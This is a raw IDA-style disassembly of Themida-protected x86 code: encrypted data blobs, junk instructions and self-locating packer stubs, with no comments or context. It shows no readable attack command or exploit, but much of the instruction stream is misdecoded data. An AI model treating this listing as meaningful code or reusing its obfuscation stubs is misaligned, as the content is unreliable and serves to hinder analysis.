0A848BA66h mov eax, ebx call dword ptr [ebp+6121B31h] xor edi, [ebp+6121819h] push 0 call dword ptr [ebp+61219CDh] mov eax, eax jmp short loc_5BB1D5 ; --------------------------------------------------------------------------- dw 6D52h dd 0DF537B6h, 0F55B4CAAh, 12CE8949h, 0FF359C9h, 8BE8959h dd 8B5B1AA5h, 0B872BA38h, 42B1546Dh, 0C5F064D0h, 0CE0C480Eh dd 292A317Fh, 0EBDEF90Ch, 912C5C17h, 0AAE3E856h, 1D5429C2h dd 5805BC79h, 40E11133h, 0E482EC45h, 6038C194h, 8D8B4E21h dd 0D30B83A1h, 8AB30DF4h, 400E4DCEh db 68h ; --------------------------------------------------------------------------- loc_5BB1D5: ; CODE XREF: Themida_:005BB174j dec dl inc ebp adc [edx], ecx test al, 3Ah cdq dec esi mov al, [eax-5457F5EFh] aad 0EAh jnz short loc_5BB240 push ss or ch, [eax-75B161E0h] mov edx, 9D57AE5Dh sahf dec esi mov cl, [eax+17h] or ch, [eax+75EAD5ABh] adc edx, [edi] or ch, [eax-75B1603Dh] popf pop ss or ch, [eax-75B163B3h] pop ss adc al, 0Ah test al, 0ABh aad 0EAh jnz short loc_5BB23D das aam 42h sbb al, 33h adc eax, [ebx] shl byte ptr [ebx+16h], 0B1h push edx cmpsd nop ror byte ptr [ebx+edi*4], cl push edi and ecx, edx out dx, eax push edx xchg eax, ebx inc ebx das aam 7 sbb eax, 0C0031333h imul edx, [esi], -4Fh push edx cmpsd loc_5BB23D: ; CODE XREF: Themida_:005BB216j nop lea ecx, [edi] loc_5BB240: ; CODE XREF: Themida_:005BB1E6j mov ebx, 0FBD12157h push edx xchg eax, ebx inc ebx das aam 0F6h push ds xor edx, [ebx] add eax, eax ja short loc_5BB268 mov cl, 52h cmpsd nop cmp [edi], ecx mov ebx, 0F7D12157h push edx xchg eax, ebx inc ebx das aam 5Fh push ds xor edx, [ebx] add eax, eax loc_5BB268: ; CODE XREF: Themida_:005BB250j inc ebx push ss mov cl, 52h cmpsd nop retf 0BB0Eh ; --------------------------------------------------------------------------- push edi and ecx, edx retn ; --------------------------------------------------------------------------- push edx xchg eax, ebx inc ebx das aam 29h pop ds xor edx, [ebx] add eax, eax dec edi push ss mov cl, 52h cmpsd nop dec eax push cs mov ebx, 0DBD12157h push edx xchg eax, ebx inc ebx das aam 0ABh sbb [ebx], dh adc eax, [ebx] rcl byte ptr [edi+16h], 0B1h push edx cmpsd nop mov dh, 9 mov ebx, 0D3D12157h push edx xchg eax, ebx inc ebx retn ; --------------------------------------------------------------------------- db 0B8h, 12h, 50h dd 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5CC2B1C0h dd 0A8ED96A4h, 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh dd 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 0ED3AAE63h, 848C0723h dd 11AB5342h, 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h dd 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h dd 54A851A2h, 4162AD6Ch, 660351A2h, 0EE27BFEAh, 161DB2Fh dd 94751333h, 0D9020112h, 5CDFDCA0h, 0EC79AEA4h, 41AE51A1h dd 9D22DC09h, 0BA8C0C7Fh, 0DF103773h, 0C821732Ah, 4DFD9828h dd 0FD5BEA2Ch, 508C152Bh, 8C009881h, 0ABAE48F7h, 0EFD2A5FBh dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 5CC371C0h, 5CDDDAA4h, 828668A1h dd 54A8ADE7h, 0BACC152Ah, 46A59030h, 0CE529E2Ch, 9783FC69h dd 0EFE2A5B9h, 0D9F9FA31h, 5CDFDCA0h, 0D79AEA4h, 2320949Ah dd 328C551Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh dd 0A901402Ah, 34549521h, 458A15C2h, 0BE290BA2h, 43935C91h dd 0DFA02429h, 4D1957h, 54A8515Eh, 0D775532Ah, 52BA5C63h dd 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 5CDFDCA0h dd 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 9D22DC08h, 0BA8C0C7Fh dd 0FEF8E173h, 10439FA7h, 855757BBh, 6E20D6A0h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah, 52BA581Bh dd 0C8204526h, 4DFD9828h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh dd 0FE0451A2h, 484B87D5h, 8C2357B0h, 0EF491786h, 161DB2Fh dd 94751333h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh dd 457650EDh, 0F8A851A2h, 8418EA80h, 0DFAE43AFh, 8558B9E2h dd 9D32DC08h, 0BA8C0C7Fh, 94103771h, 0CF2173E3h, 2983FB63h dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 52BA5C63h dd 7726DDA1h, 0CE25FB63h, 439340E3h, 0ECCE825Dh, 0EEECE4AAh dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah dd 0D903376Bh, 5CDFDCB0h, 327BAEA4h, 234B9592h, 0FE04FD09h dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h dd 10438FA7h, 875757BBh, 320A09Ah, 0CE25FB0Eh, 439340E3h dd 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5CC699C0h dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 439352EBh dd 0CC32DCF1h, 0BA8C0C62h, 0A8EDD871h, 458A42C3h, 58DDAEA2h dd 0C88260D5h, 4DEF8038h, 0DF07462Ch, 52B1193Ah, 3C6D5h dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 2578FA7h, 0D9FB57BBh dd 5CC28DB0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh dd 0BD32DCAAh, 168C0C6Dh, 1C30CB2Fh, 96751333h, 0BD54142Bh dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 720CEB00h dd 0FC3D38A3h, 0DF669A80h, 0E9D9AD9Eh, 669h, 65DE9h, 1F8B7E00h dd 339D9181h, 4BADA595h, 61C7BDADh, 76DED3C3h, 9E0C6BD8h dd 0B3A341A9h, 0CABA58BCh, 0E3D371D1h, 0EEED8BE9h, 54F41C8Dh dd 0E8FB7602h, 0B7150F96h, 0A505FEB4h, 3FB039A2h, 6FE90717h dd 0D0CF392Dh, 49401882h, 73961D2h, 0F6406FE9h, 55ECF9BDh dd 0D06800E1h, 0BA2217CDh, 0A40C01B7h, 0C82C23F9h, 22056FC5h dd 6510766Ch, 3D35978Fh, 9578E246h, 2B25E7DFh, 0E074CACDh dd 49071252h, 5F62FA64h, 484BB5A9h, 0B863FEEDh, 29087046h dd 0A236E501h, 78C35C92h, 36C12BCAh, 0F05A40C5h, 0B0B30169h dd 254DBE47h, 3476024Ah, 4A3A62D3h, 0F3417602h, 2119F15Bh dd 493E14BFh, 475DEE1h, 76024ADCh, 93FD95E3h, 0CB2D2515h dd 476877C8h, 6E255AE1h, 65C7BF8Eh, 8AECE4BAh, 1E0DA220h dd 0C64FD883h, 0BB428E54h, 3BCE8A9Dh, 0AD215E13h, 0B021CC1Ah dd 0AD215E88h, 6CDF4997h, 0A728A2EBh, 1BD1D422h, 0A517C222h dd 8638B307h, 0C745AFDDh, 0D37EDED7h, 9DA008FDh, 0A9FADD47h dd 4A8B29FFh, 8D7B76Eh, 7C11AF0Fh, 359D9271h, 7C81F29Dh dd 8DC59D48h, 0BFEB3C3Fh, 0F7CD9907h, 123AAB34h, 20CD9907h dd 6EC4C727h, 2F29216Fh, 0E78CED1h, 62B98D6Dh, 5735CD7Bh dd 25288881h, 72C65CFh, 0D2000000h, 3EE20h, 160FCE00h dd 0D84AB3B6h, 16549425h, 0FDD53F72h, 0EAA0A305h, 5B7795F1h dd 82EDD728h, 3931E7EAh, 302B53C4h, 0E4326FE9h, 33F2494Ch dd 67E0E453h, 5FBFB887h, 78D8D1C1h, 0EB8B5D75h, 2C968A60h dd 157F7329h, 9272137Dh, 0DF433A10h, 5FF286DCh, 61170E01h dd 700D842h, 729A0B94h, 796FE9C2h, 0C270982Bh, 317F6FE9h dd 130BFB99h, 2F8AEB1h, 8342999Ch, 1ADCD4A3h, 5BBBE24h dd 53A9AC0Ch, 0EF7823BBh, 0E9C2567Eh, 11756C6Fh, 0D7CCC412h dd 0AC166C6Fh, 0BCB58B2Eh, 9F7FF25Ch, 0F500A80Bh, 0AFA9800h dd 19CDB313h, 732CCE82h, 2B22D8DBh, 0C667C4C7h, 57042254h dd 201788CCh, 0CB63B9BCh, 11E0C061h, 3918B61Ah, 0FDh, 69C9C298h dd 6D6AC3FFh, 2B25DBDEh, 0F12766Dh, 64CCC1B9h, 0C8730B61h dd 7A6CE3Fh, 67B56FE9h, 978F7FFDh, 0BFB48A35h, 0A10AED57h dd 6E71D3CBh, 133BAE18h, 806FE907h, 1A12E1C1h, 70C34A5h dd 0C5136FE9h, 0CCA19B31h, 2EC64E93h, 52B6AD83h, 837A6AE8h dd 6C661C1Fh, 0BB53B7AEh, 0C4A45BB8h, 0FC9AFEF5h, 0AEB1150Ch dd 989B03F8h, 8386ECE2h, 28277F31h, 5C54A321h, 39FBFE68h dd 0D871E0C0h, 736A3919h, 8C81710Fh, 0DE092124h, 0B4B71B12h dd 9DA00AFEh, 0EE8DEFE7h, 48E85737h, 9C25A787h, 8D7AA213h dd 33816FE9h, 0E98D78A0h, 0A1F7F26Fh, 0AA30FFA6h, 1BF35DABh dd 0A6645E26h, 0AFB24AB0h, 2F04C559h, 51822633h, 0EF781BB9h dd 0E966567Eh, 10766C6Fh, 8159C311h, 0D4252888h, 6FE966A7h dd 129474F5h, 0EE4463Ch, 3F593BECh, 0F8D03AD2h, 5E019FFFh dd 0E98AB4ECh, 2E98ADEBh, 62D35CF2h, 6FE9073Ah, 0B189F341h dd 24AD58B8h, 7022A9Bh, 0BB096FE9h, 0E9070028h, 0CAF2636Fh dd 0D16FE907h, 763A8483h, 0CF992F5Ch, 0E5C832CAh, 0D3D6362Fh dd 0BCBF291Dh, 0A9AC0E06h, 0F897FDF3h, 94F26141h, 0F079FBDBh dd 0E91C577Fh, 0AE18666Fh, 0DF7DDDD6h, 0E9175354h, 1064616Fh dd 1D81D90h, 10DF0778h, 0A0EE6FE9h, 0FE9CFD36h, 0CB54FFFFh dd 8682D559h, 9326C473h, 6FE9186Bh, 7EBA2472h, 35E0636Ah dd 0FB1BAFC4h, 0DAD07E69h, 3058C974h, 3F75FB24h, 0A05659F1h dd 79F2E8A6h, 0FB24E008h, 9A1EF75h, 0E9E3D371h, 0DCD2888Bh dd 0EE9DBF7Ah, 0B149CB1Ch, 0BA9A51AEh, 0F593F1EBh, 0AAAD0B05h dd 0FB242C59h, 4525DE75h, 9A0B7C76h, 75FB2472h, 0F5932B79h dd 544D0B05h, 977FE2F8h, 35CDB99Ah, 5B319A9Dh, 19960064h dd 5BE48F12h, 0FB74C2EAh, 117BC975h, 93101586h, 0E331700Dh dd 26BDB045h, 9A7D0A7Bh, 57E069F0h, 20ABEE6h, 157FCD76h dd 7CE5E836h, 4C8181F3h, 5BB726BAh, 272A0C8h, 0F761AF76h dd 28C6261Fh, 56B6AF85h, 0BB93FD53h, 0E5F62C2h, 5AE16FFFh dd 0B6B91F15h, 0A0A30B00h, 3DAC8C43h, 11E0C039h, 0FC625818h dd 0DFD6C664h, 77C5231Bh, 0BCC3286Ch, 85DBDE76h, 694169DAh dd 0FA48AD21h, 582EB762h, 0A7FD005Eh, 2169EC14h, 3BA5F3ADh dd 49A9A258h, 66EFB246h, 0F74142F4h, 11A4C6F3h, 0AD211AE9h dd 1AABD344h, 64B2AD21h, 0CAD1765h, 8E01582Ch, 88481555h dd 0EE000000h, 2C8E865Ch, 8CF6EAC2h, 0BFE758E1h, 0CE6FE907h dd 2DC52920h, 5D5545C3h, 776D5DFBh, 8E837311h, 0D66ECCC6h dd 0EF534838h, 0B4666531h, 0AB49E138h, 0C260C4BBh, 0DB79D9D2h dd 0F593F1EBh, 0FDA81005h, 0CBCE2E27h, 0BF280B75h, 0E9F3264Eh dd 0E0E7356Fh, 6777127h, 0E9F36D95h, 962E7C6Fh, 9D7D3C93h dd 0C5ED5EBFh, 0D46FE9F3h, 30E9E886h, 94FCF1C7h, 81E3DB91h dd 61B87FE9h, 66000000h, 7779E29h, 2DEC6FE9h, 0F6DDF4Dh dd 2313B11Bh, 0AC1EC92Bh, 0A9A32F52h, 7157B74Bh, 28189600h dd 3E2ECC32h, 5343E149h, 4A72E35Eh, 516FE9B2h, 0B2577FF0h dd 18666FE9h, 5A4AE880h, 7E54FF63h, 39B72189h, 65C9C096h dd 0CA2A23FBh, 0E4423C2Ch, 56F6339h, 0C442AC02h, 3E5h dd 59959300h, 0ADB01C0Fh, 9C9FFDF7h, 8A8DEDE6h, 7679DDD4h dd 6063CBC0h, 4A4DB5AAh, 35389E94h, 2225877Fh, 0B0E786Ch dd 0E189514Dh, 4C181h, 0BB530000h, 4, 875BD929h, 685C240Ch dd 6610h, 57243C89h, 0C781E789h, 4, 8704EF83h, 895C243Ch dd 0E0682434h, 89000002h, 0F9BB241Ch, 0BF1F0779h, 0E711D376h dd 685BDF01h, 2B09h, 83242489h, 5E042404h, 8B951h, 0F1010000h dd 89FE8956h, 0FF595E31h, 835E2434h, 3C8B04C4h, 0E0895024h dd 405h, 40500h, 4870000h, 3EE95C24h, 0FAFFF92Ch, 673DCE3Ah dd 52250A71h, 3FB8A776h, 3061953h, 0E9D38BC5h, 3Bh, 0BDBD8B60h dd 83061223h, 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h dd 0D1000000h, 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh dd 0F98107h, 0F000001h, 0FFFFD382h, 8BC361FFh, 0FDED55C8h dd 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD21092Eh, 0FD21248Ch dd 0FD2133CDh, 0FD21B923h, 0FD217C1Dh, 0FD219E0Bh, 0FD21EFD0h dd 0FD2157B1h, 0FD210BACh, 0FD2124EBh, 0FD2133A0h, 0FD21BB05h dd 0FD217D66h, 0FD219F47h, 0FD21EE20h, 0FD2155ECh, 0FD210930h dd 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch dd 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h, 0FC7BF374h dd 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A64B4876h, 0A6485A75h dd 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h, 701ABC75h dd 0E42271F0h, 9BFFA673h, 707C8E21h, 0E4228EF0h, 0DBFF6C73h dd 707CEB21h, 0E422FAF0h, 9FFF3573h, 707C4721h, 0E42DCCF0h dd 0D7FF1E73h, 707CD221h, 0E42D47F0h, 0D3FF7B73h, 707C6021h dd 0E42CFCF0h, 0CFFFD773h, 707C3621h, 0E42CC5F0h, 0CBFF4273h dd 707CFC21h, 0E42C9AF0h, 0C7FFF073h, 707CA521h, 0E42C9DF0h dd 0BBFFA673h, 707C8E21h, 0E42C44F0h, 0C3FF6C73h, 707CEB21h dd 0E42CD7F0h, 0BFFF3573h, 707C4721h, 0E42CECF0h, 0BBFF1E73h dd 707CD221h, 0E42C18F0h, 0ABFF7B73h, 707C6021h, 0E42DA0F0h dd 0A7FFD773h, 707C3621h, 0E42DA8F0h, 0A3FF4273h, 707CFC21h dd 0E42D7AF0h, 0B7FFF073h, 707CA521h, 0E42DE1F0h, 0B3FFA673h dd 707C8E21h, 0E42291F0h, 0AFFF6C73h, 767CEB21h, 0EF77B8F0h dd 62FF3573h, 767C4721h, 0EF7396F0h, 5EFF1E73h, 9C7CD221h dd 11F1B0B6h, 0FD7AF29Dh, 17FB2375h, 0FB63E9C6h, 0F53FD525h dd 0A9E4ADFDh, 3422916Ch, 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h dd 7C277975h, 0E42F6898h, 0D8FFA073h, 7D7C3621h, 0E42EB2C8h dd 0B409CF73h, 4B75E4C5h, 89BAF9B5h, 5EEF8635h, 0BD7CA521h dd 452B96FEh, 0FD7A2F7Ah, 0A9D9028Ah, 48F7CD6Ch, 0FB63B153h dd 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h, 0A9D9BA8Ah dd 48F7916Ch, 0FB639F53h, 50FCD1F8h, 1F23228Ah, 0D8F787BCh dd 0A07CA521h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h, 5779C1CDh dd 0A9E5708Ah, 3ED1F46Ch, 0FD78079Dh, 9BC2DA75h, 9B5954CDh dd 62EFD0DEh, 9B7C8E21h, 959208DEh, 0B7AE577h, 8872F336h dd 62EF866Eh, 4D7CA521h, 0AD7954C5h, 0A9E5BA8Ah, 9B20916Ch dd 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh dd 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h, 3ED183FEh dd 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh, 16D049C5h dd 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h, 0B207975h dd 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h, 4DBA07F5h dd 6885B5FFh, 0FB63A6EAh, 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h dd 0BD9285E9h, 4D7A9774h, 359261F4h, 157AE574h, 0FD7AF22Dh dd 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh, 451C9775h dd 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h, 0FD7BB69Dh dd 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h, 0BE8CE575h dd 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh, 1584487Dh dd 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 5EEF0D75h, 707C6021h dd 0E42ED6C0h, 518A5D73h, 2D02C7Fh, 0E42E08E0h, 0E5920873h dd 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah, 0A5CA5E75h dd 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh, 9B4BFDCDh dd 36B91DEh, 0A7CA438Ah, 5722EEDFh, 57929FB6h, 0C923C22h dd 0A77ACB75h, 3F5122FEh, 747E1AF6h, 8B9177h, 592438Ah dd 4D7A5E75h, 5779252Dh, 0E1FF69B6h, 7D7CD221h, 0E42EF9C8h dd 0EC0FF373h, 0A9F4FCF8h, 152ABA6Ch, 0FD7A5C61h, 0FD781B9Dh dd 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah, 0E1F787DFh dd 7D7CA521h, 0E42E42C8h, 0F10F2F73h, 0A9F412F8h, 152ACD6Ch dd 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0FB63E8D6h, 0A591C3F8h dd 0F9F0296Ch, 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh, 3AF1A875h dd 15F9BB5Eh, 3E783571h, 0A9E5CB8Ah, 4ACE296Ch, 0FF0E9651h dd 0F2CA74C1h, 0C9924E13h, 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h dd 0F179BEB5h, 577825B5h, 62EF68B6h, 7D7CD221h, 39FAEA91h dd 9B7542F5h, 15D12EDEh dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h dd 0A9D9708Ah, 60F7F46Ch, 0FB632DF7h, 3E39A0F8h, 0FD7A4ECDh dd 5EEFD075h, 7E7C8E21h, 35F1CEB5h, 62EF1A89h, 577CEB21h dd 15B98E97h, 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h dd 1608CB75h, 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh dd 17FB0475h, 0FB63778Eh, 7D86EAFCh, 0E42E55CFh, 7975E573h dd 0FD7AF2ECh, 0FD7A73CDh, 5EE84375h, 0BD7C4721h, 0A9DDADFCh dd 35F1916Ch, 0A4B579F8h, 6F85E36Ch, 0FB63A6EAh, 1F3C7FFDh dd 0FD6D0480h, 7F795E75h, 0FB637BD2h, 3EE01A35h, 7E7CD22Ch dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0FB63E8D2h, 0A4CBECF8h dd 5989296Ch, 0FD722F2Bh, 6F85CB75h, 0FB63B1D6h, 897E0AF6h dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 1F90162Fh, 707CD22Ch dd 0E42E4ECFh, 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh dd 56E7A226h, 7D7C8E21h, 887BD349h, 1683BE71h, 3E82A977h dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0FB63756Eh, 0A9D125F8h dd 80F1CD6Ch, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h dd 0FB630ADEh, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 0A9D158F8h dd 0C2FBF46Ch, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h dd 9C82969Eh, 40F7ABB6h, 0FB63B1DEh, 0FD7AF3CDh, 0FD72C075h dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0FB63C3CDh, 0CA8BD08Ah dd 0ABE9h, 3FAB9E00h, 53BDB1A1h, 6BCDC5B5h, 81E7DDCDh dd 96FEF3E3h, 0BE2C8BF8h, 0D3C361C9h, 0EADA78DCh, 3F391F1h dd 0E0DAB09h, 61143CADh, 81B7602h, 0B3190FB6h, 2E2414B0h dd 0B1872AC8h, 9A04F8B8h, 6259802h, 739016F9h, 6FAB712Fh dd 68BAE6CAh, 9C27916Fh, 0B48A6FA8h, 4FC256C0h, 25DDFE95h dd 8571E88h, 5000000h, 2D8D865Ch, 0F3571C3h, 0F7ADB01Ch dd 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh, 944A4DB5h dd 7F35389Eh, 6C222587h, 4D0B0E78h, 195A8F68h, 24D3E906h dd 0FBBDFFF9h, 0DC24C466h, 22188F95h, 24B15EFDh, 0BE8h dd 22BD6100h, 8D3A53F0h, 0A8484A5Ah, 7991BA66h, 0C681F85Eh dd 608Eh, 2BCA8B66h, 9BC881DBh, 0FF11E23Ah, 81663334h dd 5FA9F1D0h, 1800Fh, 81F80000h, 5368B6F7h, 0EE834h, 81FA0000h dd 2725613Eh, 2EFDB280h, 0EE1A5643h, 815950B4h, 0ED22B9EFh dd 0C7D98158h, 8150F564h, 5EFB3FEFh, 0F515378h, 8Bh, 57585900h dd 26B2CA81h, 48F3CE3h, 0E83BB11Eh, 7, 89315C2Ah, 0E8BBADC6h dd 0Eh, 86CF5413h, 0ACFF7C73h, 31F78CB5h, 0B966EA52h, 5959E1E8h dd 0FC03EB83h, 14E84Bh, 30120000h, 9A109216h, 514C297h dd 2B7CDFA0h, 0AB7B0E76h, 8B661C55h, 0FB8159C6h, 0FFFFA04Ch dd 0FF59850Fh, 0CE8FFFFh, 0F9000000h, 78E96427h, 51DD6253h dd 8056538Ch, 0E95992D0h, 2Ah, 2404C7h, 0E8000000h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6195C2Eh mov eax, [esp+4] mov [ebp+6121E71h], eax mov eax, 0 lea ecx, [ebp+6124DB5h] jmp ecx ; --------------------------------------------------------------------------- dw 54B8h dd 0E8000067h, 0Eh, 0C11374F2h, 932C2BDh, 32FC3777h, 14E96873h dd 4000000h, 0AFD2FEFAh, 201EA3E3h, 1EB8FD6Ch, 0BA275FAFh dd 58F41CA7h, 12E9h, 2AF90000h, 0D2167021h, 8195D677h dd 0C7532B07h, 81A32890h, 5949C0h, 66606000h, 60E64ABFh dd 0D0816161h, 16750303h, 6C68BF61h, 0F7811E55h, 1E557A74h dd 6630FFF8h, 5BE787BAh, 81F78B66h, 0AFE723C3h, 7E96Dh dd 33D0000h, 2C31A9D6h, 0FEF38194h, 0BA2B853Ch, 36ED6335h dd 2A59EB81h, 810F1790h, 0 ; --------------------------------------------------------------------------- mov [eax], ebx jmp loc_5BC70C ; --------------------------------------------------------------------------- db 62h dd 78D424BCh ; --------------------------------------------------------------------------- loc_5BC70C: ; CODE XREF: Themida_:005BC702j sub eax, 4 mov edx, 315878F4h sub edi, 1 jnz loc_5BC72F mov dh, ch jmp loc_5BC749 ; --------------------------------------------------------------------------- push ecx inc edi sar ch, 0A4h cmpsb inc esi dec ebp push ss aad 6Ah loc_5BC72F: ; CODE XREF: Themida_:005BC717j mov dl, cl jmp near ptr dword_5BC664+69h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 27h dd 33FDC9DEh, 0ACEA0CA4h, 9AF2DFF6h, 9675B1F1h db 13h ; --------------------------------------------------------------------------- loc_5BC749: ; CODE XREF: Themida_:005BC71Fj jmp short loc_5BC761 ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 1000000h db 1 ; --------------------------------------------------------------------------- loc_5BC761: ; CODE XREF: Themida_:loc_5BC749j sbb al, 4 ; --------------------------------------------------------------------------- db 0 dd 6A061900h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 5FE2C353h, 74FEC470h, 0E953907Fh dd 12h, 3EDF125Ch, 7E7AED37h, 0E5B96C9Ch, 3B2F11D9h, 505FA832h dd 0DF16E2BFh, 6A9072h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 5FC4AFC3h, 0F18166E2h, 6A86A7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 57C35646h dd 260F9A18h, 8938DCD9h, 122D459Dh, 81006A06h, 9DBFD1C2h dd 0B5858D52h, 6A06195Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0E4B1C356h, 8D958BBDh dd 90061215h, 5960B256h, 90A0B550h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0EBC35141h, 8AA81F72h, 65BF6655h dd 0F38166A7h, 6A71F3h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 43C35646h, 0E1D8D89h, 6A0612h, 10E9h dd 41609800h, 0B98BBA03h, 0DC3E627Ah, 0AAFA18B7h, 10E9F3h dd 9580000h, 7C13A17Dh, 9984321Fh, 0DCDE7079h, 95FFCDD7h dd 6120DB5h, 0AB4BBA66h, 606E9h, 0B5016000h, 61229D1h dd 20059503h, 0E8610612h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6195EBAh push 0 push ebp call sub_5BC8E2 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC8E2 proc near ; CODE XREF: Themida_:005BC8DAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn 